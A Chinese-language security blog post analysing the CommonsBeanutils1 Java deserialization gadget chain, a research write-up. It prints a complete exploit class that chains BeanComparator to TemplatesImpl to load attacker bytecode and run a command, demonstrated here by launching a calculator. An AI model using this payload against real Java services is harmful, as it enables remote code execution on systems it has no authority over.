CommonsBeanutils1利用链分析

·
Java代码审计 no tag August 9, 2021

CommonsBeanutils1利用链分析

反序列化调用链

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                siftDownUsingComparator()
                    BeanComparator.compare()
                        TemplatesImpl.getOutputProperties()
                            TemplatesImpl.newTransformer()
                                TemplatesImpl.getTransletInstance()
                                    TemplatesImpl.defineTransletClasses()
                                        TemplatesImpl.TransletClassLoader.defineClass()
                                            Pwner*(Javassist-generated).<static init>
                                                Runtime.exec()

了解Apache Commons Beanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对 象(也称为JavaBean)的一些操作方法。

比如这是一个最简单的JavaBean类

final public class Cat {
    private String name = "catalina";
    public String getName() {
        return name;
    }
public void setName(String name) {
        this.name = name;
    }
}

它包含一个私有属性name,和读取和设置这两个方法,又称为getter和setter。其中getter的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法(Camel-Case)。

commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任 意JavaBean的getter方法,比如:

PropertyUtils.getProperty(new Cat(), "name");

可以直接调用getName方法。获得返回值。此外还支持通过PropertyUtils.getProperty(a, "b.c");的递归方式获取。通过这个方式,使用者可以很方便地调用任意对象的getter。

我们需要找的是可利用的java.util.Comparator对象。

而在这里就有一个org.apache.commons.beanutils.BeanComparator

image-20210809162127570

我们来看下它的compare方法。

这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象;如果 this.property 不 为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property 属性,比较属性的值。

那么,有什么getter方法可以执行恶意代码呢?

这个方法就是前面找到的TemplatesImpl#getOutputProperties()方法。它的内部调用了TemplatesImpl#newTransformer()也就是经常用来执行恶意字节码的方法。而这个方法正好是get开头。

所以PropertyUtils.getProperty(o1, property);

当o1是一个TemplatesImpl对象,而property的值为outputProperties时,将会自动调用getter,执行TemplatesImpl#getOutputProperties()方法。

反序列化利用链构造

首先还是创建TemplateImpl

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后实例化我们刚开始讲的BeanComparator

final BeanComparator comparator = new BeanComparator();

然后用这个comparator实例化优先队列PriorityQueue

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);

所以最终exp

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CB1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception
    {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();


        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();


    }
}

image-20210809165401123

成功弹出计算器

利用流程

image-20210809170207668

首先进入PriorityQueue的readObject方法。

然后跟进

image-20210809170705977

进入siftDown方法

image-20210809170735768

image-20210809170757169

然后来到了BeanComparator的compare方法

image-20210809170815322

然后就是执行TemplatesImpl加载字节码的过程

image-20210809171045185

  • CommonsCollections2利用链分析
  • ciscn国赛决赛 ezj4va复现
取消回复

说点什么?

© 2023 Yang_99的小窝. Using Typecho & Moricolor.